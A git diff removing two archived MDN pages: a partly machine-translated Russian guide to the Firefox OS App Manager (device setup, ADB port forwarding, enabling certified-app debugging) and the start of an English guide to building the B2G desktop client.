--- a/files/ru/archive/b2g_os/using_the_app_manager/index.html
+++ /dev/null
@@ -1,315 +0,0 @@
----
-title: Использование Менеджера приложений (не переведен до конца)
-slug: Archive/B2G_OS/Using_the_App_Manager
-translation_of: Archive/B2G_OS/Using_the_App_Manager
----
-<div class="summary">
-<p>Менеджер приложений - это новый инструмент в Firefox для Рабочего стола, который предлагает вам инструменты чтобы помочь вам тестировать, разрабатывать и отлаживать веб-приложения HTML5 на телефонах базированных на Firefox OS и в Симуляторе Firefox OS, прямо в вашем браузере.</p>
-</div>
-
-<p style="text-align: center;">{{EmbedYouTube("z1Bxg1UJVf0")}}</p>
-
-<p>Менеджер приложений состоит из:</p>
-
-<ul>
- <li><a href="#Apps_panel"><em>Панели Приложений</em></a>, которая сортирует локальные приложения (исходный код расположен на вашем компьютере) и приложения из Интернета, позволяя вам собирать и устанавливать их на вашем устройстве или симуляторе, и отлаживать их используя Панели.</li>
- <li><a href="#Device_panel"><em>Панели устройств</em></a>, которая отображает информацию о подключенном устройстве включая версию Firefox OS, права нужные для использования API вашего устройства и установленные приложения.</li>
- <li><a href="/en-US/docs/Tools_Toolbox"><em>Панели</em></a>, которые наборы инструментов разработки (веб-консоль, инспектор, отладчик и др.) могут подключиться к рабочему приложению через Панель Приложении чтобы провести отладочные операции.</li>
-</ul>
-
-<h2 id="Быстрая_установка"><a name="Configuring_device">Быстрая установка:</a></h2>
-
-<p>Эта часть создана чтобы настроить и запустить как можно быстрее. Если вам надо больше деталей, то, пожалуйста , пройдите далее к части ("Конфигурация системы и устройства")  и начинайте читать оттуда. Также посмотрите часть ("Поиск неисправностей) для помощи, если у вас проблема.</p>
-
-<ol>
- <li>Убедитесь, что у вас установлен Firefox 26+ для Рабочего стола.</li>
- <li>Откройте Менеджер приложении( в адресной строке наберите<code> about:app-manager</code>).</li>
- <li>Если у вас нет настоящего устройства:<span id="cke_bm_376C" style="display: none;"> </span></li>
- <li>
- <ol>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите симулятор Firefox OS</a></li>
- <li>В нижней панели Менеджера приложений, нажмите на
- <i>Start Simulator</i>
- , потом нажать на имя установленного симулятора, который должен появиться.</li>
- </ol>
- </li>
- <li>Если у вас есть настоящее устройство:</li>
- <li>
- <ol>
- <li>Убедитесь, что у вас установлен Firefox OS 1.2 или выше</li>
- <li>На Windows, установите драйвера предоставленные производителем телефона.</li>
- <li>В настройках вашего устройства, отключите Lock Screen (<code>Settings &gt; Screen Lock) </code>и включите Remote Debugging (<code>Settings &gt;<code>Device information &gt; More information &gt; Developer</code></code>)</li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин Помощника ADB</a> на Firefox Desktop.</li>
- <li>Подключите ваше устройство к компьютеру через USB порт.</li>
- <li>Вы должны увидеть имя вашего устройства в нижней Панели Менеджера приложений. Нажмите на нее.</li>
- </ol>
- </li>
- <li>Нижняя панель должна показать:"Соединено с xxx"</li>
- <li>Нажмите на Панель Приложений и добавьте приложение (на компьютере или в интернете)</li>
- <li>Кнопка <em>Обновить </em>проверяет ваше приложение и устанавливает его в Симулятор/Устройство.</li>
- <li>Кнопка <em>Отладка </em>подключает инструменты разработчика к рабочему приложению.</li>
- <li>
- <p><strong>Просмотрите часть </strong><strong>{{ anch("Troubleshooting") }} для помощи если у вас есть проблема.</strong></p>
- </li>
-</ol>
-
-<h2 id="Конфигурация_системы_и_устройства">Конфигурация системы и устройства</h2>
-
-<p>Первое что вам будет нужно сделать, когда вы используете Менеджер Приложений - это удостовериться, что телефон и система настроены правильно. Эта часть посвящена тому,  чтобы пройти все нужные шаги.</p>
-
-<h3 id="Необходим_Firefox_OS_1.2_и_более">Необходим Firefox OS 1.2 и более</h3>
-
-<p>Убедитесь, что ваше устройство работает на Firefox OS 1.2/Boot2Gecko 1.2 или больше. Чтобы проверить версию Firefox OS, на котором работает устройство, пройдите к <code>Settings &gt; Device Information &gt; Software</code>.</p>
-
-<p>Если у вас версия ниже, то от телефона зависит, будете вы устанавливать новую версию Firefox 1.2+, или настраивать и собирать самостоятельно из исходного кода.</p>
-
-<p>Доступные сборки:</p>
-
-<p><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak сборки (англ.)</a> (чтобы узнать зачем они пройдите к <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Обновление и персонализация телефонов на Firefox OS Developer Preview /Geeksphone(англ.)</a>)</p>
-
-<p>Чтобы построить свою сборку Firefox OS 1.2+, следуйте инструкциям расположенным в <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Сборка и установка Firefox OS</a>, начиная с <a href="/ru/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Прежде, чем собрать Firefox OS</a>.</p>
-
-<h3 id="Удаленная_отладка">Удаленная отладка</h3>
-
-<p>Далее вам надо включить удаленную отладку в Firefox OS. Чтобы это сделать, перейдите в <code>Settings &gt; Device information &gt; More information &gt; Developer </code>и проверьте галочку Remote Debugging<code>. </code></p>
-
-<h3 id="Adb_Helper_Add-on" name="Adb_Helper_Add-on">Помощник ADB(OMA)</h3>
-
-<p>Весь процесс использует Android Debug Bridge(ADB)(Отладочный Мост Android(OMA) для того, чтобы обрабатывать подключение между компьютером и устройством. Есть два способа запуска ADB:</p>
-
-<p>Позвольте Firefox обрабатывать ADB(рекомендовано). <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин помощник ADB(англ.)</a>, который сделает процесс быстрее. Когда это установлено, не будет нужды устанавливать ADB, не надо будет вводить команду <code>adb forward</code>. Все это обработает плагин.</p>
-
-<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">Установить плагин Помощник ADB</a></p>
-
-<p>Если использовать ADB самостоятельно, то он у вас должен быть установлен на компьютере - загрузите и установите <code>adb</code> (просмотрите <a href="http://developer.android.com/intl/ru/sdk/index.html">Get the Android SDK(англ.)</a>) как часть пакета Android SDK. Вам нужно будет включить переадресацию адресов, чтобы это сделать надо ввести команду в терминал:</p>
-
-<pre class="language-html">adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
-
-<p>Заметьте, что это надо делать всегда после перезагрузки/отключения-подключения телефона к сети.</p>
-
-<div class="note">
-<p>Примечание: Нет нужды вводить эту команду если у вас установлен Помощник ADB.</p>
-</div>
-
-<h2 id="Подключение_устройства_к_Менеджеру_Приложений">Подключение устройства к Менеджеру Приложений</h2>
-
-<p>Когда настройка завершена, пришло время подключить устройство к компьютеру и запустить менеджер приложений:</p>
-
-<ul>
- <li>Подключите ваше устройство к компьютеру через USB.</li>
- <li>Отключите блокировку экрана. Чтобы это сделать, зайдите в <code>Settings &gt; Screen Lock </code>и уберите галочку с <code>Lock Screen. </code>Это необходимо, потому что, если у вас телефон заблокируется, то подключение прервется, он больше не будет доступен для отладки.</li>
- <li>Запустите Менеджер Приложений -  в Firefox для рабочего стола выберите <code>Инструменты &gt; Веб-разработка &gt; Управление приложениями</code>, или введите в адресной строке <code>about:app-manager</code>.</li>
- <li>Под вкладкой Менеджера приложений вы увидете панель индикации</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6263/connection-status.png" style="width: 600px; height: 30px; display: block; margin: 0px auto;"></p>
-
-<div class="note">
-<p><span id="result_box" lang="ru"><span class="hps">Примечание: Обратите внимание, что</span> <span class="hps">другие</span> <span class="hps">элементы управления в</span> <span class="hps">строке состояния</span> <span class="hps">соединения</span> <span class="hps">позволяют подключить</span> <span class="hps">Симулятор Менеджера Приложений</span><span>, который мы</span> <span class="hps">рассмотрим в</span> <span class="hps">следующем разделе</span><span>,</span> <span class="hps">и</span> <span class="hps">изменить порт</span><span>, чтобы соединение</span> <span class="hps">происходило успешно</span><span>.</span> <span class="hps">Если изменить</span> <span class="hps">порт, вы</span> <span class="hps">также должны будете</span> <span class="hps">включить переадресацию для</span> <span class="hps">этого порта</span><span>, также,</span> <span class="hps">как указано в </span></span>{{anch("Enable port forwarding")}} <span id="result_box" lang="ru"><span class="hps">разделе</span> <span class="hps">выше.</span></span></p>
-</div>
-
-<h2 id="Использование_плагина"><a name="Simulator">Использование плагина </a></h2>
-
-<h2 id="Firefox_OS_Simulator"><a name="Simulator">Firefox OS Simulator</a></h2>
-
-<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">у вас нет</span> <span class="hps">реального устройства</span><span>, доступного для</span> <span class="hps">использования Менеджера Приложений</span><span>,</span> <span class="hps">можно еще попробовать</span> <span class="hps">его с помощью</span></span> <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator.</a> <span id="result_box" lang="ru"><span class="hps">Для начала,</span> <span class="hps">установите соответствующий</span> <span class="hps">симулятор для</span> <span class="hps">вашей операционной системы</span><span>:</span></span></p>
-
-<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Установить Симулятор</a></p>
-
-<div class="note">
-<p>Примечание: <span id="result_box" lang="ru"><span class="hps">в настоящее время</span><span class="hps"> <span id="result_box" lang="ru"><span class="hps">доступен </span></span>только</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span> <span class="hps">симулятор</span><span>, хотя</span><span class="hps"> в будущем <span id="result_box" lang="ru"><span class="hps">могут появиться более новые версии</span></span>.</span></span></p>
-</div>
-
-<p><span id="result_box" lang="ru"><span class="hps">После установки</span> <span class="hps">симулятора</span><span>, вы</span> <span class="hps">должны найти в</span> <span class="hps">строке состояния</span> <span class="hps">соединения,</span> <span class="hps">в</span> <span class="hps">нижней части вкладки</span> <span class="hps"><span id="result_box" lang="ru"><span class="hps">Менеджер Приложений</span></span></span><span>,</span> <span class="hps">и нажмите</span> <span class="hps">кнопку "Start simulator</span><span>"</span><span>.</span> <span class="hps"><span id="result_box" lang="ru"><span class="hps">Появится т</span></span>ри кнопки</span> <span>:</span></span></p>
-
-<h2 id="Панель_приложений"><a name="Apps_panel">Панель приложений</a></h2>
-
-<p>Теперь, когда все работает, рассмотрим функционал доступный в Менеджере Приложений, начиная с Панели приложений. Отсюда вы можете отправить существующие приложения на ваше устройство одним нажатием и отладить его:</p>
-
-<p>Информация о вашем приложении должна появиться в правой половине окна, как показано ниже:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6261/apps-panel.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
-
-<h3 id="Редактор_Манифестов">Редактор Манифестов</h3>
-
-<p>Начиная с Firefox 28 версии Панель Приложений включает в себя Редактор Манифестов:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6613/apps-panel-fx-28.png" style="width: 600px; display: block; margin: 0px auto;"></p>
-
-<h3 id="Отладка">Отладка</h3>
-
-<p>Кликните по <em>"Update"</em> чтобы обновить (установить) приложение на устройство. Кликните по <em>"debug"</em> для подключения набора инструментов, что позволит вам непосредственно отлаживать свой код:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6265/debug.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
-
-<div class="note">
-<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечание:</span></span> <span id="result_box" lang="ru"><span class="hps">Вы будете наслаждаться</span> <span class="hps">играя с</span> <span class="hps">панелью инструментов</span> <span class="hps">- попробуйте</span> <span class="hps">измененить</span> <span class="hps">DOM</span><span>, CSS</span> <span class="hps">и т.д.</span><span>, и вы увидите </span>что <span class="hps">изменения</span> <span class="hps">отображаются</span> <span class="hps">на устройстве</span> <span class="hps">в режиме реального времени</span><span>.</span> <span class="hps">Такие изменения</span> <span class="hps">будут сохранены</span> <span class="hps">в</span> <span class="hps">коде</span> <span class="hps">приложения</span><span>, вы</span> <span class="hps">увидите их</span> <span class="hps">в следующий раз, когда</span> <span class="hps">вы откроете приложение</span> <span class="hps">на устройстве.</span></span></p>
-</div>
-
-<p>До Firefox 28, инструменты открывались в отдельном окне. Начиная с Firefox 28  <span id="result_box" lang="ru"><span>инструменты</span> <span class="hps">запускаются</span> <span class="hps">в отдельной вкладке</span> <span class="hps">в самом</span> <span class="hps">Менеджере Приложений</span><span>,</span> <span class="hps">на одном ряду с</span> вкладками Приложения и Устройства<span>.</span> <span class="hps">Вкладке</span> <span class="hps">дается</span> <span class="hps">значок</span> <span class="hps">вашего приложения</span><span>, поэтому ее легко</span> <span class="hps">найти:</span></span></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6615/toolbox-fx-28.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
-
-<h3 id="Ошибки">Ошибки</h3>
-
-<p><span id="result_box" lang="ru"><span class="hps">Если приложение</span> <span class="hps">не</span> <span class="hps">было добавлено</span> <span class="hps">успешно</span> <span class="hps">-</span> <span class="hps">например, если</span> <span class="hps">URL</span> <span class="hps">был неправильным</span><span>,</span> <span class="hps">или</span> <span class="hps">вы выбрали</span> <span class="hps">упакованную</span> <span class="hps">папку</span> <span class="hps">приложения</span> <span class="hps">-</span> <span class="hps">запись будет</span> <span class="hps">добавлена ​​к странице</span> <span class="hps">для этого приложения</span><span>, но это</span> <span class="hps">будет включать в себя</span> <span class="hps">сведения об ошибке</span><span>.</span></span></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6259/apps-error.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Вы также можете удалить</span> <span class="hps">приложение</span> из Менеджера<span>,</span> <span class="hps">подведя курсор к</span> <span class="hps">Приложению</span> "<span class="hps">имя</span> <span class="hps">/ описание"</span> <span class="hps">слева от</span> <span class="hps">окна</span><span>,</span> <span class="hps">и нажать кнопку</span> <span class="hps">"X"</span><span>, которая появляется в</span> <span class="hps">каждом конкретном случае.</span> <span class="hps">Это, однако,</span> <span class="hps">не удаляет</span> <span class="hps">приложение</span> <span class="hps">с устройства.</span> <span class="hps">Для этого вам</span> <span class="hps">нужно вручную удалить</span> <span class="hps">приложение</span> <span class="hps">с помощью</span> <span class="hps">самого устройства</span><span>.</span></span></p>
-
-<h2 id="Панель_устройства"><a name="Device_panel">Панель устройства</a></h2>
-
-<p>Вкладка<em> "Устройство"</em> показывает информацию о подключенном устройстве. Из окна <em>"Установленные Приложения"</em>, приложение на устройстве может быть запущено и отлажено.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6267/device-tab.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
-
-<div class="note">
-<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечание:</span></span> Проверенных приложений нет в списке по умолчанию. <a href="#Debugging_Certified_Apps">Посмотреть, как отлаживать приверенные приложения</a>.</p>
-</div>
-
-<p><a name="permissions"></a>В окне "Разрешения" необходимы привилегии для различных <a href="/en-US/docs/WebAPI">Web APIs</a> на текущем устройстве:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6269/permissions.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Наконец, вы можете</span> <span class="hps">сделать скриншот</span> <span class="hps">экрана</span> <span class="hps">текущего</span> <span class="hps">устройства</span><span>, нажав</span> <span class="hps atn">на кнопку "</span>Screenshot<span>"</span><span>.</span> <span class="hps">Скриншот</span> появится <span class="hps">в новой вкладке</span> <span class="hps">в</span> <span class="hps">Firefox</span><span>,</span> <span class="hps">и</span> <span class="hps">оттуда вы можете</span> <span class="hps">сохранить</span> <span class="hps">его, если хотите</span><span>.</span></span></p>
-
-<h2 id="Отладка_проверенных_приложений"><a name="Debugging_Certified_Apps">Отладка проверенных приложений</a></h2>
-
-<p><span id="result_box" lang="ru"><span class="hps">В настоящее время только</span> <span class="hps">устройства под управлением</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span> <span class="hps">способны</span> <span class="hps">отлаживать</span> <span class="hps">сертифицированные</span> <span class="hps">приложения.</span> <span class="hps">Если у вас есть разработанная</span> <span class="hps">сборка</span><span>, вы можете включить</span> <span class="hps">отладку</span> <span id="result_box" lang="ru"><span class="hps">сертифицированных</span> </span><span class="hps">приложений</span><span>, изменив</span> <span class="hps">опцию</span></span> <code>devtools.debugger.forbid-certified-apps</code> на <code>false</code> в вашем профиле. чтобы сделать это, выполните слудующие шаги:</p>
-
-<p> </p>
-
-<ol>
- <li>
- <p>На вашем компьютере, введите команду в Терминале/командной строке для входа в файловую систему с помошью оболочки:</p>
-
- <pre class="brush: bash language-html"><code class="language-html">adb shell</code></pre>
-
- <p>Вам надо получить <code>root@android</code>.</p>
- </li>
- <li>
- <p>Делее, остановить запущенный B2G используя следующую команду:</p>
-
- <pre class="brush: bash language-html"><code class="language-html">stop b2g</code></pre>
- </li>
- <li>
- <p>Прослудейте в следующий каталог:</p>
-
- <pre class="language-html">cd /data/b2g/mozilla/*.default/</pre>
- </li>
- <li>
- <p>Тут надо <span class="short_text" id="result_box" lang="ru"><span class="hps">обновить файл</span> <span class="hps">prefs.js</span> <span class="hps">с помощью следующей строки</span><span>:</span></span></p>
-
- <pre class="brush: js language-js"><code class="language-js">echo <span class="token string">'user_pref("devtools.debugger.forbid-certified-apps", false);'</span> <span class="token operator">&gt;</span><span class="token operator">&gt;</span> prefs<span class="token punctuation">.</span>js</code></pre>
- </li>
- <li>
- <p>После того, как вы закончите редактирование и сохраните файл, запустите B2G снова,  используя следующую команду:</p>
-
- <pre class="brush: bash language-html"><code class="language-html">start b2g</code></pre>
- </li>
- <li>
- <p>Выйдете из файловой системы с помощью команды <code>exit</code> ; это вернет вас к нормальной работе терминала.</p>
- </li>
- <li>
- <p>Перепоключитесь к Менеджеру Приложений и вы должны увидеть сертифицированные приложения доступными для отладки.</p>
- </li>
-</ol>
-
-<div class="note">
-<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечание:</span></span> Если вы захотите добавить эти предпорчтения в свою сборку вы можете запустить <code>make DEVICE_DEBUG=1 reset-gaia</code>.</p>
-</div>
-
-<h2 id="Поиск_неисправностей"><a name="Troubleshooting">Поиск неисправностей</a></h2>
-
-<p id="My_device_is_not_recognized"><span class="short_text" id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">устройство не распознается</span><span>:</span></span></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Не можете</span> <span class="hps">подключить устройство</span> <span class="hps">к менеджеру</span> приложений <span class="hps">или запустить</span> <span class="hps">симулятор</span><span>?</span></span> <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">Дайте нам знать</a> or сообщите об ошибке.</p>
-
-<ol start="1">
- <li>Убедитесь что у вас установлен Firefox 26+</li>
- <li>Откройте Менеджер приложений (в адресной строке наберите <code>about:app-manager)</code></li>
- <li>Если у вас нет настоящего устройства:
- <ol>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите симулятор Firefox OS</a></li>
- <li>На нижней панели Менеджера приложений, нажмите на
- <i>Start Simulator</i>
- , потом нажмите на имя установленного симулятора, который должен появиться.</li>
- </ol>
-
- <ol>
- <li>
- <ol start="1">
- <li><span class="short_text" id="result_box" lang="ru"><span class="hps">Если у вас есть</span> <span class="hps">реальное устройство</span><span>:</span></span>
-
- <ol>
- <li><span id="result_box" lang="ru"><span class="hps">Убедитесь, что устройство</span> <span class="hps">работает под управлением</span> <span class="hps">Firefox</span> <span class="hps">OS 1.2</span><span class="hps">+</span></span></li>
- <li><span id="result_box" lang="ru"><span class="hps">В Windows</span><span>, убедитесь, что</span><span class="hps"> драйвер<span id="result_box" lang="ru"><span>, предоставленный производителем</span> <span class="hps">телефона</span></span> установлен</span></span></li>
- <li><span id="result_box" lang="ru"><span class="hps">В настройках</span> <span class="hps">вашего устройства</span><span>,</span> <span class="hps">отключена</span> функиця <span class="hps">Блокировки Экрана</span></span> (<code>Settings &gt; <code>Screen Lock</code></code>) и включена функция Удаленной Отладки (<code>Settings &gt; Device information &gt; More information &gt; Developer</code>)</li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин Помощник ADB</a> в Firefox рабочего стола</li>
- <li>
- <div class="almost_half_cell" id="gt-res-content">
- <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">Подключите устройство к</span> <span class="hps">вашему ПК</span> <span class="hps">с помощью кабеля</span> <span class="hps">USB</span></span></div>
- </div>
- </li>
- <li><span id="result_box" lang="ru"><span class="hps">Вы должны увидеть</span> <span class="hps">название вашего</span> <span class="hps">устройства</span> <span class="hps">в правом нижнем углу</span> Менеджера Приложений<span class="hps">.</span> <span class="hps">Нажмите туда</span><span>.</span></span></li>
- </ol>
- </li>
- <li>Строка состояния должна показать "Подключено к XXX"</li>
- <li>Кликните на Панели Приложений и добавтье приложение (упакованное или состоявшееся)</li>
- <li>Кнопка <em>Обновить</em> проверит ваше приложение и установит его на Симулятор/Устройство</li>
- <li>Кнопка <em>Отладка</em> <span id="result_box" lang="ru"><span class="hps">подключит</span> <span class="hps">средства разработки</span> <span class="hps">в работающие</span> <span class="hps">приложения</span></span></li>
- <li><strong>Смотрите раздел {{ anch("Troubleshooting") }}  для помощи, если проблемы остались</strong></li>
- </ol>
-
- <ul>
- <li><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak builds</a>, <span id="result_box" lang="ru"><span class="hps"> чтобы узнать больше</span> <span class="hps">об использовании</span><span class="hps">,</span> <span class="hps">читайте тут</span></span> (<a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone</a>)</li>
- <li>Следите за новостями</li>
- </ul>
-
- <ul>
- <li>
- <p><span class="short_text" id="result_box" lang="ru"><span class="hps">Пусть</span> <span class="hps">Firefox</span> <span class="hps">обрабатывет</span> <span class="hps">ADB</span> <span class="hps">(рекомендуется)</span></span> <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Установите плагин Помощник ADB</a>, <span id="result_box" lang="ru"><span class="hps">что делает</span> <span class="hps">этот процесс проще.</span> <span class="hps">При этом</span><span class="hps"> нет</span> <span class="hps">необходимости устанавливать</span> <span class="hps">ADB</span><span>,</span> <span class="hps">и нет необходимости</span> <span class="hps">вводить команду</span></span> <code>adb forward</code> : все сделает плагин Помощник ADB</p>
- <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">Загрузить плагин Помощник ADB</a></li>
- <li><span id="result_box" lang="ru"><span class="hps">Используйте</span> <span class="hps">ADB </span><span class="hps">вручную.</span> <span class="hps">Вам нужно</span><span>, чтобы он установлен</span> <span class="hps">на вашем компьютере</span> <span class="hps">-</span> <span class="hps">скачать и установить</span></span> <code>adb</code> (см. <a href="http://developer.android.com/sdk/index.html">Скачать Android SDK</a>) <span id="result_box" lang="ru"><span class="hps">как</span> <span class="hps">часть пакета</span> <span class="hps">Android</span> <span class="hps">SDK.</span> <span class="hps">Вы должны будете</span> <span class="hps">включить переадресацию порта</span><span>, введя следующую</span> <span class="hps">команду в строке</span> <span class="hps">терминала</span><span>:</span></span>
- <pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
- </li>
- </ul>
-
- <ul>
- <li>Прочтите <a href="#Configuring_device">Конфигурация устройств и систем</a> <span class="short_text" id="result_box" lang="ru"><span class="hps">раздел</span> <span class="hps">полностью, и</span> <span class="hps">убедитесь, что все</span> <span class="hps">шаги будут выполнены</span><span>:</span></span></li>
- <li><span id="result_box" lang="ru"><span class="hps">Работает ли</span> <span class="hps">ваше устройство</span> <span>по крайней мере на</span> <span class="hps">Firefox</span> <span class="hps">OS 1.2</span><span>?</span></span></li>
- <li><span class="short_text" id="result_box" lang="ru"><span class="hps">Если вы не видите</span> <span class="hps">все приложения</span><span>,</span></span> <span class="short_text" id="result_box" lang="ru"><span class="hps">вам нужно</span> <span class="hps">включить</span></span> <a href="#Debugging_Certified_Apps">отладку сертифицированных приложений</a>?</li>
- <li>
- <div class="almost_half_cell" id="gt-res-content">
- <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">Включили ли вы</span> <span class="hps atn">"</span><span>удаленную отладку</span><span>"</span> <span class="hps">в настройках</span> <span class="hps">вашего телефона</span><span>?</span></span></div>
- </div>
- </li>
- <li>Если вы не используете <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">плагин Помощник ADB</a>:
- <ul>
- <li><span class="short_text" id="result_box" lang="ru"><span class="hps">Вы</span> <span class="hps">успешно запустили команду</span></span> <code>adb forward</code>?</li>
- </ul>
- </li>
- <li>Если вы используете <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">плагин Помощник ADB</a>
- <div class="almost_half_cell" id="gt-res-content">
- <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">и устройство</span> <span class="hps">не отображается в</span> <span class="hps">нижней панели инструментов</span><span>:</span></span></div>
- </div>
-
- <ul>
- <li>Если вы используете Linux, <a href="http://developer.android.com/tools/device.html#setting-up">убедитесь, что все настроено корректно</a></li>
- <li>Если вы используете Windows, <a href="http://developer.android.com/tools/device.html#setting-up">убедитесь, что драйвер установлен</a></li>
- </ul>
- </li>
- <li>Видите <strong>"???????"</strong> вместо имени вашего устройства на Linux? <a href="http://developer.android.com/tools/device.html#setting-up">Убедитесь, что все настроено корректно</a>.</li>
- <li>
- <div class="almost_half_cell" id="gt-res-content">
- <div dir="ltr" style="zoom: 1;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Разблокирован</span> <span class="hps">ли</span> <span class="hps">экран вашего телефона</span><span>?</span></span></div>
- </div>
- </li>
- </ul>
- </li>
- </ol>
- </li>
-</ol>
-
-<p> </p>
diff --git a/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html b/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html
deleted file mode 100644
index dc438cfde2..0000000000
--- a/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: Using the B2G desktop client
-slug: Archive/B2G_OS/Using_the_B2G_desktop_client
-translation_of: Archive/B2G_OS/Building_the_B2G_OS_simulator
----
-<p>The Firefox OS desktop client, also called the <em>B2G desktop client</em>, lets you run Gaia and web apps in a Gecko-based environment somewhat similar to an actual device. It doesn't emulate device hardware, so it's not adequate for testing device APIs, and isn't a replacement for testing on actual hardware. However, it does have a several APIs enabled that aren't available on Firefox such as the Contacts and Settings APIs. It can therefore be useful during the development of our application, or while working on the Gaia user interface itself.</p>
-<p>This article covers downloading or building the Firefox OS desktop client, as well as how to use it.</p>
-<h2 id="Download_a_nightly_build">Download a nightly build</h2>
-<p>Just like <a href="http://nightly.mozilla.org" title="http://nightly.mozilla.org">Firefox Nightlies</a>, the Firefox OS desktop client is built every day from the latest source code. The latest build is <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">available from the Mozilla FTP server</a>. Be sure to pick the latest version and the right archive for your operating system.</p>
-<p>We can now skip ahead to <a href="#Running_the_desktop_client" title="#Running_the_desktop_client">Running the desktop client</a>.</p>
-<h2 id="Building_the_desktop_client">Building the desktop client</h2>
-<p>The first thing we need to do is set up a <a href="/En/Developer_Guide/Build_Instructions#Build_prerequisites" title="En/Developer_Guide/Build_Instructions#Build_prerequisites">standard Mozilla build environment</a>. Once we have that, we can pull down the code we'll need and configure to build the Firefox OS desktop client.</p>
-<h3 id="Downloading_the_code_for_the_first_time">Downloading the code for the first time</h3>
-<p>In a directory where we'd like the source code to go, let's clone the <code>mozilla-central</code> repository that contains all of Gecko:</p>
-<pre> hg clone http://hg.mozilla.org/mozilla-central
-</pre>
-<h3 id="Updating_the_code">Updating the code</h3>
-<p>When we do subsequent builds later, we'll want to make sure we have the latest code. Here's how to pull the latest changes:</p>
-<pre>cd mozilla-central
-hg pull -u
-</pre>
-<h3 id="Create_a_mozconfig">Create a mozconfig</h3>
-<p>Next, we need to create a <code>mozconfig</code> file in the <code>mozilla-central</code> directory to configure the build system to build the Boot to Gecko client instead of Firefox:</p>
-<pre>mk_add_options MOZ_OBJDIR=../build
-mk_add_options MOZ_MAKE_FLAGS="-j9 -s"
-
-ac_add_options --enable-application=b2g
-ac_add_options --disable-libjpeg-turbo
-
-# This option is required if you want to be able to run Gaia's tests
-ac_add_options --enable-tests
-
-# turn on mozTelephony/mozSms interfaces
